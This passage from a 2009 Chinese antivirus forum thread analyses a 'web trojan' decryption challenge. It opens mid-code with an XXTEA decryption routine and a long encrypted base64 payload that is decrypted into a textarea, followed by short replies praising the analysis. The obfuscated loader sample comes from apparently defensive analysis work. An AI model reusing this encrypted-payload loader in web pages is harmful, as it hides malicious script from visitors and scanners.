wY31=c28[TLlP30];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[0]=c28[0]-rtCqYR34&0xffffffff;OTBMbdQa37=OTBMbdQa37-kFK33&0xffffffff;} return long2str(c28,true);} t="QKoc2AuhjC2dJ9InnmpGWNxifyE5+7tXS+5KhAa8I7NGB1dFdOBytNXuLlwoIYWaRzYmpQKBYHASnPhAinQsRR7d/NcFO92GnZRBvIPDvVAUkEsT/+Ro1sPoC3g/vuvRz2K8469tTb4+D6tZNi3iSekOo8QIyhtWpPu/Jrkw74/JJphZ8pyDCPRJYzH/YH0Z4023eiADh2eaxAhqf5tMWOhkyx8BMeZlhx8xN8TueojjjyhiF/p4RB8N94mpChieZcuX5zWwNScJCKrnCXjR2/ZbbnOdh/8zUBwDdAj9d+8YfqW3sGw1wfmJZH7ez1niukQ6eLPIoi9WlG1p1TilD3RRY2BpbxWzLMG+6sG/eZL6V6xc7evkXiaDr/YNnwyNtknxpqb889OWhlPja/v1izUWuamTAEIVb9ceqWS8QX7hsxcFMksm+XLf7q/6at6LQFemexkDudOpc7ryDgTECoZSwY0XxmXNUTgBZjWeU22X8dzEAvG3ozBwWZQ4c8Llf5PIzReo0hPOqcOd+XCS7o7qjlwd9YOPghfblfLCOkOLUvrJVwjjsvbnmyDdkpKNISF9M+t2heVKtmjzUdsmyndqHrCvd7Bs2h8/gAB2R/3adkLfdeC+ocLSatF0OU5tcvK/ZzW8QjJ4A2TV6qdu5fn5Ix8OvxBfDvrZuTwi/sjuwHL4Fz49G5KdhUjo5dLQH0ybvIM6CoPFLAt1QhGic29DWZA+8Nb8v4kjYTO0dPnM0NW3Vo83tatfrTtmxbHOSngmJ1GwAYgB8LtNOkhF7OPObjj9WM1Erz+1RlInwNz93qBoBqEItL7+gbCgAfAQgH7bQtbh0C8C4rG78kOn4UAcT+1RkrFyTOaNLmHVRy7vwTvNfAb33mQUfWVAsK2jijxPA+6XQfXNVh+J1IBmtbH4dORys+rw1yCYoWnAfqUrUlJZrR4zizOL2TH0r+KJm81q7l3Kzz7WTdgs1d0vv8SR0NHI28ap2d1bzUmDsJfMiglt1f/pgSdFslRHI4GeDL1QL+cTdmTrLgEmje05FRQNX3ju6SSlklXsedV+r/KUj7OYoJr0Ol21nkVNsGAqOouNuIQPbUqduPuNuYycqeWPxsgSlaQRpPdlZvi8LC9vQvGRnUSAObFMO2L8Z5WxK8VO4YenyYHHxgNEjMb++MKLzi2QCtvNgV8G2im2NoZvWg4hLCPgpl4T3smfzjoqJIOdiM5kKby/QPy/faQM0pQQEUYkNigunZNNMcdvSaw/58htoaYBtXHmGVDPECU+r7GKu/pyRuuwGV9XyAkUxrXdVeR/g9fJNtvWZGGr8k6CLnk+njbW4BtAjejll2FEVx7vsVPyY318oPiRvQPlyVQotru5LzfRPY8ysbuQcQqe63l5Ojnrn3LmWhxvTA5oHhv9Y6zKAVUaJOrd6F/AyGgoTOSpPaXhkR7v/Wd7NOD5tOnURkru3Ylul0YIn0pGirTNMJcnD3z6xMfBO9yxSeFxxfhRtzjZQP47Kg=="; t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74')); document.getElementById("textareaID").innerText=(t); </SCRIPT> <META c name=GENERATOR></HEAD> <BODY></BODY></HTML> 2.jpg* (117.95 K) 2009-7-20 15:06:57 本帖被评分 1 次本帖被评分 1 次 SReng工具下载 SRENG工具使用说明费尔删除工具
QoS 卡卡反病毒小组帖子:530 注册: 2009-06-06 来自:

星宿*老怪初生襁褓狮帖子:7 注册: 2009-07-29 来自:	发表于： 2009-07-29 15:27 \| 短消息资料字号：小中大 7楼回复：网马解密悬赏第十九期简要分析
星宿*老怪初生襁褓狮帖子:7 注册: 2009-07-29 来自:

小浩小浩初生襁褓狮帖子:4 注册: 2009-07-31 来自:	发表于： 2009-07-31 13:24 \| 短消息资料字号：小中大 8楼回复：网马解密悬赏第十九期简要分析强,
小浩小浩初生襁褓狮帖子:4 注册: 2009-07-31 来自:

RingXing小狮子自信弱冠狮帖子:395 注册: 2009-04-30 来自:	发表于： 2009-08-07 10:01 \| 短消息资料字号：小中大 9楼回复：网马解密悬赏第十九期简要分析好贴，给版主评分了。
RingXing小狮子自信弱冠狮帖子:395 注册: 2009-04-30 来自:

Lighting_Cui 自信弱冠狮帖子:391 注册: 2009-06-10 来自:火星	发表于： 2009-08-07 18:18 \| 短消息资料字号：小中大 10楼回复：网马解密悬赏第十九期简要分析强啊！！
Lighting_Cui 自信弱冠狮帖子:391 注册: 2009-06-10 来自:火星

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